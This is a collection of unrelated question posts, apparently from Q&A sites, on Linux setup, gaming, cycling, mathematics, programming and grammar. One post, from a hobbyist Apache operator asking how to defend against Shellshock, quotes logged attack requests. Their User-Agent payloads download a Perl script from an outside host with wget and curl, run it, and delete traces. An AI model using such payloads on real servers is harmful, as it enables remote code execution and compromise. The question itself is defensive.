I have just installed tor: sudo apt-get install tor.  After that, I rebooted and ran sudo systemctl status tor and noticed that it is active running. So I suppose it is enable by default. How to setup it in such a way that it will only run when I sudo systemctl start tor  Edit: I don't agree marking this question as duplicate of  since my question is about Systemd and the allegedly duplicate is in SysVinit. The way to enable/disable services is clearly difference between both.


How do I permanently enable cheating with Deus Ex GOTYE (GOG.com Version)

I've tried a few of the methods laid out in the , as well as others mentioned in .  However, neither seems to be working for me.  The Deus Ex version I'm playing is the Game Of The Year Edition, available from .  The main menu shows a version 1.112.fm.  Particular things I've tried:   set DeusEx.JCDentonMale bCheatsEnabled True in the in-game chat. Add bCheatsEnabled=True and set Tilde=type in USER.INI Add -hax0r to the shortcut.   Despite all of these, the game still does not respond when I press the tilde key.  Another thing I've noticed though, is that the USER.INI file I'm editing does not appear to match my current game configuration.  Some of the other key mappings listed do not match my custom settings.  The USER.INI file I'm working on is stored in the following location:     C:\Program Files (x86)\GOG.com\Deus Ex\System\User.ini   Is there perhaps a different USER.INI file which I should be working on, or is there something else I can do to enable these cheats?  Or, is it likely that the GOG.com version is specially altered in some way that (intentionally or not) prevents enabling of cheats?  EDIT:  I've just noticed that, even though I still seem unable to actually access the cheats console, my save games are still flagged with CHEATS ENABLED.  So, it seems that the game acknowledges I've enabled cheats but for some reason isn't allowing me to use them.


I've had an eternal struggle with my current bike over brake contamination. The levers and calipers are shimano ultegra r8000, so the latest and (almost) greatest.  I first noticed it when I took it to a repair shop (i no longer use) for a bleed, it came back and the front brake would squeal like crazy and at low speeds had little to no braking force. You can stop from speed but then struggle to come to a halt without using your foot.  At around 2000 miles I tried to replace the brake pads, when I took them out they were black with grime on both sets (front & back), not to mention worn down to the metal. I replaced them with the L04C sintered pads, gave the callipers a good cleaning with a towel (no chemicals) and fitted the new set.  Annoyingly all of my braking issues are back, now I probably should have cleaned the rotors, I simply used some muc off disc brake cleaner on them. I would like to know the best way to clean the rotors, I've inspected the pads and they are looking fairly black now, with plenty of tread left. I'm going to abandon these pads and fit a new set. For the rotors I plan to completely remove them from the wheels (they are center lock fitted) and try and treat them off the bike, what is the best way to fully clean them? They have plenty of wear left in them but you can see these black grooves in them, and plenty of muck on the back that I struggle to get off.  Below are images of the rotors after soaking them in disc brake cleaners, waiting and then wiping them down with a clean, microfiber towel.   Front Wheel Outside Rotor   Front Wheel Inside Rotor - note the increased dirt on this side  Looking at ways people clean their disc rotors, I've seen plenty of suggestions that I would need to burn the contaminants off the discs. Would the best approach be to remove them and use a blowtorch, should I soak them in some nasty chemicals overnight before I try to heat them? Do I try baking them in the oven?  And finally, what is the best way to prevent the brakes from becoming contaminated in the future? it's really off putting when they squeal and don't perform how I'd expect because it means I'm more reserved whilst out riding on the bike, leading to reduced time riding around outside. I commute on this bike (50 miles a week) and then ride about 50 on the weekends also, so it see's it's fair share of road use. I tend to wash it once after my big ride on saturdays and will rinse it off if it's been raining, any day that occurs (since I live in north east england, the acid rain..). I've owned disc brake bikes before and never had half the issues I've had with this, I had a cheap trek with tektro brakes and the brakes were sharper and never had any issues with contamination whatsoever (i did around 500 miles on that bike before a motorist happened).  Thanks for any and all advice :)


Dual Boot Windows 8.1 alongside Ubuntu 14.04

I am running ubuntu 14.04 Trusty Tahr on my laptop. I want to dual boot Windows 8.1 over it so i can boot into any of these. I have the iso file for windows 8.1.


True/False: $\mathop {\lim }\limits_{n \to \infty } {{{a_n}} \over {{b_n}}} = 1$ implies $\sum {{a_n},\sum {{b_n}} } $ converge or diverge together.

$$\mathop {\lim }\limits_{n \to \infty } {{{a_n}} \over {{b_n}}} = 1$$ Prove the statement implies $\sum {{a_n},\sum {{b_n}} } $ converge or diverge together. My guess the statement is true.    if $\sum{{a_n}}$ diverges, then $\mathop {\lim }\limits_{n \to \infty } {a_n} \ne 0$    So,  $$\eqalign{   & \mathop {\lim }\limits_{n \to \infty } {a_n} = L \ne 0  \cr    & {{\mathop {\lim }\limits_{n \to \infty } {a_n}} \over {\mathop {\lim }\limits_{n \to \infty } {b_n}}} = 1 \Rightarrow {L \over {\mathop {\lim }\limits_{n \to \infty } {b_n}}} = 1 \Rightarrow L = \mathop {\lim }\limits_{n \to \infty } {b_n} \ne 0 \cr} $$  therefore,  $\sum {b_n}$ also diverges.    What I was not managed to do is proving that the two series converges together. Or maybe the statement is not always true?


does there exist a continuous function that follow these sentences?

does there exist a function f that follows this sentence?: the domain of f is real number set, and f is continuous in every real number if x is a rational number, f(x) is an irrational number and if x is an irrational number, f(x) is a rational number


Is it safe to use oil at its smoking point?

Teflon toxicity and second degree burns aside, are there any health issues related to cooking with oil at or past its smoking point? Googling a bit I found one article that went so far as to say you should always "discard oil that's reached its smoke point, along with any food with which it had contact". Other searches showed pages suggesting cancer risks.  I've never given it a thought before and I often use peanut oil at smoking point to brown meat.


Two Java reference variables with the same name; why is this working?

Edit: I am aware that there are plenty of questions abut pass-by-reference/value and so on, and I've checked a ton of them. I still don't 'get' it. If someone could just explain THIS piece of code like I'm three years old, I think it would finally click.  Edit 2: I'm an idiot. There WAS a main method, I just read over it somehow. Adjusted the example code.  Original post:  I would never play 'reference hide-and-seek' in real life, but I am stumped by the following exam question. I know the answer, but I cannot figure out WHY it is the answer, if that makes any sense. If someone can help me make this 'click', I would greatly appreciate it.  Here is the code:  class Person {     public String name;     public int height; }  class EJavaGuruPassObjects1 {     public static void main(String args[]) {         Person p = new Person();         p.name = "EJava";          anotherMethod(p);         System.out.println(p.name);          someMethod(p);         System.out.println(p.name);     }      static void anotherMethod(Person p) {         p = new Person();         p.name = "anotherMethod";         System.out.println(p.name);     }      static void someMethod(Person p) {         p.name = "someMethod";         System.out.println(p.name);     } }   According to the book I'm using, the code should output:   anotherMethod EJava someMethod someMethod   I can't, for the life of me, figure out why it does this?  The third and fourth line of the answer, someMethod has set the name of 'p' to "someMethod" and then it printed p.name. Okay, no problem there. But anotherMethod does something curious: it seems to assign either a new Person object to 'p', or create a new reference variable that is also called 'p' and assigns the new Person object to that one. I suspect it does the latter.  Now it gets interesting: the method has worked its magic and the remaining code wants to print p.name now. If the existing variable was reassigned (I don't think so, but... maybe?), it should print "anotherMethod" again. If a second 'p' variable was indeed created, we have a problem. Why does it print EJava? How does it know which 'p' reference is adressed?


I am interested in studying computer science after I graduate, and I am aware that, based on your occupation, it can be a math heavy field. I've looking into discrete mathematics, and am interested in what the basis of it is. Also, if anyone has any experience, could you recommend any books for studying?


I tend to write, "say whatever they want", but I'm always tempted to write "say what ever they want". Is it acceptable to split the word in this context?


Fix time differences in Ubuntu 18.04 and Windows 10

I dual boot Windows 10 and Ubuntu 18.04. Every time after switching between the two systems the clock time seems to be off. Can somebody please tell me how to fix this issue?


I'm trying to do autosegmental representation using pst-asr, but I am getting an unrecognized command error on \asr.  All I've done is use the sample code from the documentation, but it still won't compile:  \documentclass[12pt]{article} \usepackage{pstricks} \usepackage{pst-xkey} \usepackage{pst-asr} \usepackage{xkeyval}  \begin{document} \IfFileExists{pst-asr.tex}{true}{false} \IfFileExists{pstricks.tex}{true}{false}  \asr ki:p\endasr \end{document}   What am i doing wrong?


How Earth protected from the gamma rays generated by Sun?

Sun is generating energy by nuclear fusion. And nuclear fusion will emit energy in the form of gamma rays.  Normally earth's ozone filtering the Ultraviolet radiation. And magnetic fields of earth deflecting the cosmic rays(charged particles).  But what kind of natural system protecting us from sun's gamma ray as it is main product of nuclear fusion?     Note: As we know gamma ray can be blocked by denser materials like   several meters of thick lead (Pb).


How to inset near a mesh boundary without creating new border faces?

I was following a tutorial to create a helmet. A the step for the mesh under the cube he insets a face to create an indent, but only insets the side of the mesh, not the open border. How did he do it?


Why is 'true instanceof Boolean' equal to false in JavaScript

The following indicates the expression "true instanceof Boolean" evaluates to false. Why would this expression evaluate to false?    $(document).ready(function() {      var $result = $('#result');      if(true instanceof Boolean) {     $result.append('I\'m a Boolean!');   } else {     $result.append('I\'m something other than a Boolean!');   } });


I upgraded from 13.04 to 13.10 and shutdown my computer and now it boots to a blank screen everytime. The only thing there is a cross shaped cursor. I can boot to terminal using ctrl+alt+f1.  Boot repair did nothing (paste.ubuntu.com/6358039) and when I tried to re-install using a live CD the installation was not detected so I have no option to keep my files.  Is there anyway I can repair without losing my files in my home folder? Thanks.


For the past 30 minutes I've tried to solve this identity but with no luck. I've tried with math induction,perturbation method and to write the sum and find some simetry but non of them worked. Could someone please help me? Thank you.  $\sum_{k=1}^{n}(-1)^{k+1}\frac{1}{k}\binom{n}{k} = 1+\frac{1}{2} + \frac{1}{3} + ... + \frac{1}{n}$


Can we be able to improve an edit after we've already approved it?

I saw a question that was tagged improperly.  I went to edit it, only to discover that another user had submitted the exact same edit and it was needing approval.  I approved the edit, only to discover that it needs a second approval.  Now, I am locked from editing it at all, and this content is sitting there, wrong, with nothing I can do about it.  I understand that I should have picked the "Improve the Edit" option and then it would have gone thorugh immediately.  This doesn't help me now, though.  Could we still offer the option to "Improve the Edit", even after you have Approved it and it's waiting for the second approval?  This would make it really easy for people to fix this problem when it happens that they've made a mistake like this.


What is $c$ in the Lorentz force expression?

The usual Lorentz force expression I am familiar with is this:  $$\vec F=q(\vec E+\vec v \times \vec B)$$  I have seen some other versions lately that include an extra factor $1/c$:  $$\vec F=q\left(\vec E+ \frac{1}{c} \vec v \times \vec B\right)$$  What is this $c$ and how is it included? I guess other parameters in the expression are also different from the top expression for this to fit?  Example of a text snippet where I have run across this extra parameter:


I've been stuck with this date format.  1425624506986 = Mar 6, 2015 08:48:26  I have lots of data to convert but I don't know which format is this.  For example, how can I change this format:  "2015.07.09 20:23" to like this "1425624506986" (Theese are examples, they are not the same date value)  Could help me to figure this out?  Thanks


I am trying to create a red box inside a pink box, but i can't get even this simple thing to work. I would like the red box to be in the center of the pink box. It would be even better if the red box was also center of the browser window.     I try copying code from other answers but it does not work for me.  .main {       height: 300;       width: 300;       background-color: pink;       display: flex;       flex-flow: row wrap;       justify-content: center;     }  .aaa {       height: 200;       width: 200;       background-color: red;     }       <title>test</title>

       A


What happens if I pocket both players' last C/m and the Striker in one shot?

Suppose I pot the last red C/m, the last white C/m and the Striker together. The Queen isn't on the board. Is that a win for me or do I return the C/m with a penalty?


Is it a good style to write constants on the left of equal to == in If statement in C++?

Are there any recommendations about writing constants on the left of comparison  in  to avoid bug if assignment will be mistyped. Is it a good practice ? or this will reduce code readability and not recommended to do that, as there is a  in case if assignment within conditional expression will be written.  const int maxValue = 15;   1)  if (currentValue == maxValue) {     // do something  }   (  if  operator equal to == will mistyped to assignment operator =, currentValue = maxValue the if will be always true as anything that isn’t zero is “true”  Or better to write   2)  if (maxValue == currentValue) {    // do something  }


Why must the base and argument of a logarithm be positive?

A counter-example (based on my misunderstanding) is, say, if $(-3)^3=-27$ then why is it not the case that $log_{-3}(-27)=3$?


I'm new for blender and I'm searching or any advice as solution for my question. my question is, Is there any system or any tool that we can use to transfer jpeg image file to 2d animation stroke file. currently im using images as reference and creating stroke layers on it. but when it come to create the faces my out come of drawing was terrible. so please advice how I can fix this.


Adding a quadratic term flips the signs of the coefficients

So I have a question of utilizing quadratic (second order) predictors with GLMs in R. Basically I have three predictor variables $(x, y, z)$ and a response variable (let's call it ozone). $x$, $y$, and $z$ are not inherently quadratic predictors yet so I square them (X2 <- x^2, and likewise for y and z).    Now I understand that if I wanted to model ozone based on these predictor variables I would use the poly() or polym() function (to create orthogonal polynomials).  However, when it comes to using interaction terms between these three variables, that's where I get lost. For example, if I wanted to model the interaction between the quadratic predictors of $x$ and $y$ I believe I would be typing in something like this  ozone <- x + y+ x^2 + y^2+ xy + x^2y + xy^2 + x^2y^2  # (I hope this is right)   My questions are:     Is there an easier way of inputting this (with three terms that's a lot of typing).  Why does the quadratic predictor flip signs of the coefficients? When I just run the predictor variable $x$ the coefficient is positive but when I use a quadratic predictor the coefficient almost always ends up being negative.      If you follow , it'll show you my initial question on Stack Overflow. In terms of the context of this question (which was non existent in the initial post), it's based on a dataframe consisting of predictor variables of radiation, temperature, and wind and the response variable of ozone levels in the atmosphere. Therefore, x, y, and z in the initial post were those three predictors.   Ultimately, are the statistical solutions given by others in that post valid?


I am trying to center align the content of a figure that has verbatim text in it. But the verbatim text is always right-aligned:  \begin{figure}   \centering   \begin{verbatim}   some   text   here   \end{verbatim}   \caption{I wish this were centered} \end{figure}


How can the universe by infinite when it has known start and finite time since?

Just watched the 'How Big is the Universe?' TV program and it indicated that the universe is believed to be infinite in size. They used an approach involving measuring the internal angles of triangles. Or something like that anyway.  But hang on, the Universe has a known starting time and size followed by a finite time expanding at a finite speed. So surely, by definition, it cannot be infinite? I can accept it is honking big but by definition it cannot be infinite. Are they misleading me?


When voice typing, I know that you can say comma or period or question mark to get a , . or ?. Those were all in the android instructional video. But I just saw that you can say new paragraph and it will skip a line. I want to know if there's a list of these punctuation commands somewhere?


I tried to install brave in linux using the command below, but the following error is showing: curl -s https://brave-browser-apt-release.s3.brave.com/brave-core.asc | sudo apt-key --keyring /etc/apt/trusted.gpg.d/brave-browser-release.gpg add -  gpg: no valid OpenPGP data found.


Why do you say 'He has it' but 'Does he have it'?

I tried looking up the difference between has and have and it generally has to do with plurals, but that doesn't seem to be changing in this case. Why do you use have in one case and has in another?


Excel: How to convert "string" to a "number"?

I have a user with a query from an SQL Database that returns a series of string in this form:  000123123.23000 000123123.23000 000123123.23000 000123123.23000 000123123.23000   These are really numbers, however they cannot be summed.  The correct way to fix this might be to cast the data in the SQL query, but then the Excel query viewer can't display it. As a workaround I do    = <CELL> +1 -1.   Is there a more elegant solution?


Different Result than calculated,using the SIZEOF operator?

I was writing the code to check size of the int ,char and some struct.But its giving different result than manually calculated one.  #include<stdio.h> struct person {     int roll;     char name[10];  };   void main() {     struct person p1;     printf("\n The size of the integer on machine is \t :: %d \n ",sizeof(int));     printf("\n The size of the char on machine is \t :: %d \n ",sizeof(char));      printf("\n The size of structre is \t :: %d \n",sizeof(struct person));      printf("\n The size of structre is \t :: %d \n",sizeof(p1));       }   I think structure shall have size = 10 * 1 + 4 = 14. But the output is   The size of the integer on machine is   :: 4    The size of the char on machine is      :: 1    The size of structre is     :: 16


Replies that are deleted aren't removed from the feed

If you are notified by a comment on one of your posts, and that comment is later deleted, the notification is usually removed from the inbox. But this does not happen on the feed of the Android app.   I have a comment reply in my feed that has been deleted for several days now, and it is still visible there. Additionally I get the error "Loading the question failed" when trying to access it.   The expected behaviour compared to the website would be to remove replies from the feed when those comments are deleted. Additionally, if a user still manages to follow such a reply when the comment is deleted, loading the question should not fail.


JavaSript: Why is my code modifiying an array of objects on the original data object?

I have this code that is supposed to avoid modifying the original data object "info" array of objects but it does! despite it is processing copies of this array?! I need to keep the original data object intact as otherwise, I am getting continually modified data object with each call of the functions as if they are chained together?!     const data = {     owner: "John Doe",     info: [       {         employeeId: 123000456,         firstName: "Alex",         lastName: "Mckenna",         email: "alex@work.org",         salary: 48000,         department: "Art and Media",       },       {         employeeId: 123000777,         firstName: "Devon",         lastName: "Foley",         email: "devon@work.org",         salary: 75000,         department: "Advertising",       },       {         employeeId: 123000894,         firstName: "Riley",         lastName: "Couch",         email: "riley@work.org",         salary: 33000,         department: "Shipping",       },       {         employeeId: 123000533,         firstName: "Cara",         lastName: "Eramchuk",         email: "cara@work.org",         salary: 39000,         department: "Accounting",       },       {         employeeId: 123000721,         firstName: "Cole",         lastName: "Tilbury",         email: "cole@work.org",         salary: 43000,         department: "Accounting",       },       {         employeeId: 123000832,         firstName: "Bree",         lastName: "Northam",         email: "bree@work.org",         salary: 61000,         department: "Shipping",       },       {         employeeId: 123000271,         firstName: "Mark",         lastName: "Miller",         email: "mark@work.org",         salary: 55000,         department: "Sales",       },       {         employeeId: 123000442,         firstName: "Jenna",         lastName: "McEvoy",         email: "jenna@work.org",         salary: 40000,         department: "Sales",       },     ],   };     const myCompany = {   renameProp(arr, old, neu) {     const modified = arr.map((obj) => {       if (old in obj) {         obj[neu] = obj[old];         delete obj[old];         return obj;       } else {         return `property, ${old}, doesn't exist for employee ${obj["firstName"]} ${obj["lastName"]}`;       }     });     return modified;   },   sortCopy(arr, prop) {     try {       const copied = Array.from(arr);       copied.sort((a, b) => {         if (typeof a[prop] === "string" && typeof b[prop] === "string") {           if (a[prop].toLowerCase() > b[prop].toLowerCase()) return 1;           else if (b[prop].toLowerCase() > a[prop].toLowerCase()) return -1;           else return 0;         } else {           if (a[prop] > b[prop]) return 1;           else if (b[prop] > a[prop]) return -1;           else return 0;         }       });       return copied;     } catch (err) {       return err.message;     }   }, };  console.log(myCompany.renameProp(data.info, "salary", "wage")); console.log("\n\n", myCompany.renameProp(data.info, "firstName", "name"));  console.log("\n", "examples of second function: ", "\n");  console.log(   "sorted by employeeId: \n\n",   myCompany.sortCopy(data.info, "employeeId") ); console.log(   "\n sorted by first name: \n\n",   myCompany.sortCopy(data.info, "firstName") );  console.log("\n\n original array \n\n", data);


I don't have enough reputation (1K) to view the individual up and downvote counts on a post on Stack Overflow. Therefore, the cursor is the default one when I hover a post's score.  However, when an answer is added to the list of answers via a "There's 1 new answer to this question" message, the cursor is a pointer, like I can view the individual counts. This is only front-end: when I click on it, I get an "error during vote count fetch".  How to reproduce:   Go to any site where you have less than 1K rep Go to any question Wait for someone to post an answer Try to view the individual votecounts


There are lots of discussion about this topic, but I wanna clear my ambiguity or confusion - my mixed code make sense or not.   Previously I thought Jquery is most comfortable in every aspects, from easiness to the level of flexibility. There is no doubt we can create the vast and robust client side application with the usage of Jquery.  So I had been using Jquery even in small and simple tasks. But while concerning about performance, I found peoples are recommending pure JavaScript if you can. I read in lot of forums, question/answers about the performance, then I realized I am using Jquery unnecessarily.  For example, I had using to do simple task   var value = $('#div').text();   instead of   var value = document.getElementById('div').innerHTML;   In addition, I had used maximum $.each even in simple selection which can be done with document.querySelector or pure javascript for loop    I can't avoid the usage of Jquery, but can minimize. So, browser have to load jquery.   Now I have minimized jquery usage in external .js file, using pure javascript code for simple task and using jquery for only complex.   Now my question is   Now would my perfomance be better and fast than previous my way (where I had used jquery only) ?  OR  if $ is initialized once, does it affect other pure javascript code ?  To be more clear,  Does second one is faster than first one ?  Jquery only  function purchase(){     $.ajax({         url:"fetch.php",           method:"POST",           data:{prch_id:'pty'},         beforeSend: function() {             $('.pty').html('Processsing');         },         success:function(data){             $('.pty').html(data);             auto_select();         }     });  }   Javascript with Jquery  function purchase(){     var http = null;     if(window.XMLHttpRequest){         http = new XMLHttpRequest();     }     else{         http = new ActiveXObject('Microsoft.XMLHTTP');     }     var vars = "prch_id=pty";     http.open('POST','fetch.php',true);     http.setRequestHeader('Content-type','application/x-www-form-urlencoded');     http.onreadystatechange = function(){         if(http.readyState==4 && http.status==200){             var data = http.responseText;             $('.pty').html(data);             auto_select();         }     }     http.send(vars);         $('.pty').html('Processsing'); }   if we used pure JavaScript only - it is sure it is speedy, but I want to know mixing of jquery and JavaScript improves or does not make any sense.


How to find the exact value of $ \cos(36^\circ) $?

The problem reads as follows:     Noting that $t=\frac{\pi}{5}$ satisfies $3t=\pi-2t$, find the exact value of    $$\cos(36^\circ)$$   it says that you may find useful the following identities: $$\cos^2 t+\sin^2 t = 1,\\ \sin 2t = 2\sin t\cos t,\\ \sin 3t = 3\sin t - 4\sin^3 t. $$  Do I have to do a system of linear equations in function of ..what? $t$? $\cos$?  Thanks in advance :)


The actual period of a pendulum at 90°. Looking for the correct formula

Do you have access to any scientific experiment which gives the period of a pendulum when the angle is $90^\circ$:     says $T$ varies to about $18\%$ up to $90^\circ,$ so for a seconds pendulum the complete period would be roughly $2.36.$    I d'like to know the ratio at $90^\circ$ with a good approximation, and the span it can vary in relation to air friction, if the bob  is not massive.  Also, I'd like to know the max. speed of the bob at $P_0$ and how it compares with the speed of same ball sliding without friction on a circular surface, would it be the same?      What I am trying to understand here is rather complex, I'll try to explain:  If the block is placed on an air-track or other frictionless surface, the block would acquire a certain speed, momentum and KE in the opposite direction, right? same amount of momentum is lost by the bob and we can find speed loss.    Isn't the same amount of speed lost by the bob when it is attached to a pendulum?  Is this an important factor or may be the most important factor (more relevant than air friction or friction at the pivot) for the increase of the period when the angle is greater than $30^\circ$?  I figured out that this factor can account for about one third of the $18\%$ increase, can you give a more accurate value?   What I am suggesting is that this (loss of horizontal momentum, which is made clear when the bob is not attached to a rod but slides on a block) is the most important factor that makes the actual period increase when the starting point deviates on the vertical direction.


I have a table that looks like this in Google Big Query:      custID  InteractionDate Purchased?  Sales     1       20150312           F         0     1       20150312           T         200     1       20150314           T         150     2       20150221           T         400     2       20150221           F         0     2       20150221           T         120   ..that I need to transform to the following structure:       custID InteractionDate Success Sales      1     20150312          0.5    200      1     20150314           1     150      2     20150221         0.66    520   ..where in this second table the success column is defined as               count(purchase=Yes)/(count(purchase=Yes) + count(purchase=No)),   and sales is just the sum.  I'm quite new to BQ and no-SQL languages. I simply don't know how to do this, I've searched and seen examples that suggest using partition over but I simply haven't seen any example that does just this. Thanks a lot in advance.


When are the annual breaks for Weekly Shonen Jump?

After looking for the new chapter of One Piece, I came across . Here they said     The second week of august marks the annual summer break from the publisher Shueisha.   Remembering the golden week from begin May, it made me wonder what other annual breaks mangakas have and when we shouldn't expect a new release to come out.


Her teeth gleamed white against the tanned skin of her face.   It seems ‘white’ is an adjunct modifying gleamed, while it’s not a complement for it’s not necessary to complete the meaning. But I’m wondering if adjectives can make adjuncts modifying verbs. My question are two: (1) Is ‘white’ a complement or an adjunct? (2) Can adjectives make adjuncts modifying verbs? (Even if the case is not an example of this question, would you let me know?)


Story about students stuck in a black and white universe

I remember in school reading some stories, but I don't remember the name of them. The first story is like a goosebumps story. The setting is Highschool, and it took place in a modern setting (modern at the time the story was written). I remember that the characters felt one of the girls in Highschool was extremely superficial because she always had to apply her make-up on every so often. At some point in the story they end up in a black-and-white world made up of a handful of highschool students who in turn are black-and-white themselves (Imagine the world looking like a black-and-white photo and that's what it looked like). Anything exposed to the world would slowly turn gray. They used lipstick to get back to their world (because the cap on the lipstick prevented it from turning gray and it allowed them to return back to their own world). While in the world they learn that the girl they thought was superficial was in fact one of the highschool students who ended up in the black-and-white world and she continues to apply make-up to cover up her now gray skin. The characters make it in time to get their class photo taken, but the guy taken the photo is in fact the guy who used his magical camera before to send the characters to the black-and-white world, and they get sent back to that world. That's all I remember about the book, I remember being short and I think it was less than 200 pages long.


Mental estimate for tangent of an angle (from $0$ to $90$ degrees)

Does anyone know of a way to estimate the tangent of an angle in their head? Accuracy is not critically important, but within $5%$ percent would probably be good, 10% may be acceptable.  I can estimate sines and cosines quite well, but I consider division of/by arbitrary values to be too complex for this task. Multiplication of a few values is generally acceptable, and addition and subtraction are fine.  My angles are in degrees, and I prefer not have to mentally convert to radians, though I can if necessary. Also, all angles I'm concerned with are in the range of [0, 90 degrees].  I am also interested in estimating arc tangent under the same conditions, to within about 5-degrees would be good.  Backstory  I'm working on estimating the path of the sun across the sky. I can estimate the declination pretty easily, but now I want to estimate the amount of daylight on any given day and latitude. I've got it down to the arc cosine of the product of two tangents, but resolving the two tangents is now my sticking point. I also want to calculate the altitude of the sun for any time of day, day of the year, and latitude, which I have down to just an arc tangent.


Why do we assume Gaussian margins in Gaussian mixture models

A Gaussian mixture model is a weighted sum of Gaussian densities, i.e.,   $L(\theta) = \sum_{i=1}^{m} \pi_{i} f(x_i)$  where $m$ is the number of the mixture component.   Hence, Gaussian mixture models is a sum of a finite mixture Gaussian distribution with unknown parameters. I read that, in Gaussian mixture models, each univariate margins are assumed to be normal. Is that correct and why?   Any help, please?


If $2^k - 1$ is prime then $k$ is prime, using $2^{m} -1 \vert 2^{mn} - 1$

Prove if $2^k - 1$ is prime, then $k$ is prime.   using the fact that for positive integers $m,n$:  $2^m -1 \vert 2^{mn} - 1$   so $2^{mn} - 1 = (2^m - 1)k$ some $k$ (**)  for contrapositive, suppose $k = k_1k_2$  now we w.t.s. $2^{k_1k_2} - 1$ is composite as well  Can I show this using (**) letting $m,n$ be $k_1,k_2$?  And that's all I need to do ?


Using the `geometry` package with luatex

According to  (2010/09/12 v5.6, section 5.6 'Drivers', p. 11)     The package supports drivers dvips, dvipdfm, pdftex, xetex, and vtex.   Can I use this package with luatex? If so - which driver should I specify? If not - what are the alternatives?


Why does part of my scene not appear in my final camera render but appears in all other situations?

I am new to blender and and not quite sure what info should be included here so please be patient with me.


How to extrude an irregular shape into a cylinder?

As the title says, I'm trying to extrude an irregular face into a normal cylinder. There are some pics below to better describe what I want to achieve    The tip of the sculpture is round, while the bottom is pretty splash-y shaped, and as it ascends it becomes more and more round  So, is there a way to do something like that? thanks


I started the debate with my brother asking him, "If you had to do a 20km ride around a circle I.e at the end of your ride you arrive at the same place you started, would you rather cycle on a flat or have uphills and downhills to get the best time?" To this he answered "I would rather cycle on uphills and downhills, mainly because I have time to recover on the downhills." I said that I'd rather go on a flat because you burn out faster on the uphill than you recover on the downhill since the time spent going down is considerably shorter. Id like to hear from the community on which side of the debate they stand and why.  Note: someone please edit my tags I have no idea which to use.


Install brand new android API on my old Jelly Bean phone?

Hello Android enthusiasts,  I'd like to know one thing :  I have a Jelly Bean phone. Which is API 16. What if I use Android SDK API 26 in Android Studio to create an app that uses classes of API 26... Can I use this app on my Jelly Bean phone ?  If not, how can I install API 26 in my Jelly Bean phone (if at all possible) ? (any option here I will take...)


Evaluating half sibling using AncestryDNA?

Recently we (two full sisters and a full brother) think we may have found a half brother who is 50 years old on Ancestry DNA, where he is being categorized as Close Family-First Cousin.   sister 52yr share  over 60 seg 100% match sister 51yr share  over 61 seg  100% match brother 50yr share  over 50 seg 68% match   Each of the above can be g-parent, g-child, uncle, nephew, 1/2 sibling.  Also a ****nephew 14yr share  over 36 seg 99% match**** can be 1st cousin, gg-parent, gg-cousin, great uncle, grand nephew, 1/2 nephew, 1/2 uncle  Given these results is he my half sibling?  I ask because his biological mother is saying our father (deceased would have been 79) is not his biological father.   I really do not know much about all this DNA but I think the answer is simple and I just want confirmation from a reliable source.


Is Apple's Old Slogan, "Think Different", grammatically incorrect?

Not too long ago, Apple Computer used the phrase "Think Different" as an ad slogan. Is this a grammatical error (that is, it should be "Think Differently"), or are they trying to say something else (and what would it be)?


Difference between "come here" and "come over here"?

I'm not a native English speaker. I am having difficulty with some words. Could anyone please tell me if there's any difference between the above mentioned short sentences, as I'm a little confused.


Lock should not be complete lock sometimes

A question can be locked because of "high amount of off-topic comments". But it is preventing it from being voted on or edited, it prevents adding new answers to this question. I think that comments lock should only lock comments.    A question, locked because of "collaborative effort" should act like closing the question, only prevent adding new answers (voting and editing the question should be allowed).   Actulally, completely locked can be only a question with historical significance, or because of content dispute .


I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:   82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""   The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.  Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks?


So the exercise here is to design a program that takes a string and removes all characters in that string that appear in the second string. So with the strings I've chosen below where the first string is abc and the second string is cde I want to get an output of ab rather than abc.   I've already seen a very neat way to do this squeeze function that only requires two simple for loops but I was wondering why my long winded way doesn't work.  #include<stdio.h>  void squeeze(char s1[], char s2[]); void copy(char to[], char from[]);  int k=0;  main() {     char array1[4]="abc";     char array2[4]="cde";     squeeze(array1, array2);     printf("%s", array1); }  void squeeze(char s1[], char s2[]) {     int j,i,m;     m=j=i=0;     char s3[1000];     while(s1[i]!='\0')   //What I'm doing here is taking a character in the string     {                      //and comparing it with all characters in the second string.         copy(s3,s1);       //If it exists in the second string I'm 'deleting' that letter         while(s2[j]!='\0') //from the first string. Then I start all over again with the         {                 // next letter in line. Or at least that's the plan.             if (s1[i]==s2[j])             {                 k=1;             }             ++j;         }          if (k==1)         {             m=i;             while(s3[m+1]!='\0')             {                 s1[m]=s3[m+1];  //I'm 'deleting' the letter by pushing each character                 ++m;            //that is to the right of the deleted character to the               }                   //left of the array.         }          if(k!=1)         {             ++i;         }     }     s1[i]='\0';  }  void copy(char to[], char from[]) {     int i;     i=0;      while(from[i]!='\0')     {         to[i]= from[i];         ++i;     }     to[i]=='\0'; }


Nonlinear maps with additivity or homogeneity

Examples of linear maps from $\phi : \mathbb R^2 \to \mathbb R$ that has homogeneity degree $1$ but is not linear.  Example of a function $\phi : \mathbb C \to \mathbb C$ that is additive but is not linear.   All the examples I have found for these have gone over my head, can someone help me find a simple example for these? Progress I figured out a solution for the second part, can anyone help some more with the first part?


What happens if you cast Counterspell on a creature that is not casting a spell?

Inspired by this question:   Here's the scenario:  A party member wants to fool an enemy into thinking that they are casting a spell. They take out components, do hand gestures, and starting chanting but do not actually initiate the casting of any spell. The enemy, fooled by this, casts counterspell at the pretend-spellcaster. How does this resolve?  Is counterspell successfully cast (obviously with no effect)? If so, is the slot used to cast counterspell lost?  Or, can counterspell not be initiated in the first place (since there is no real spell being cast)?


do i need a uk transit visa when i am not changing terminals?

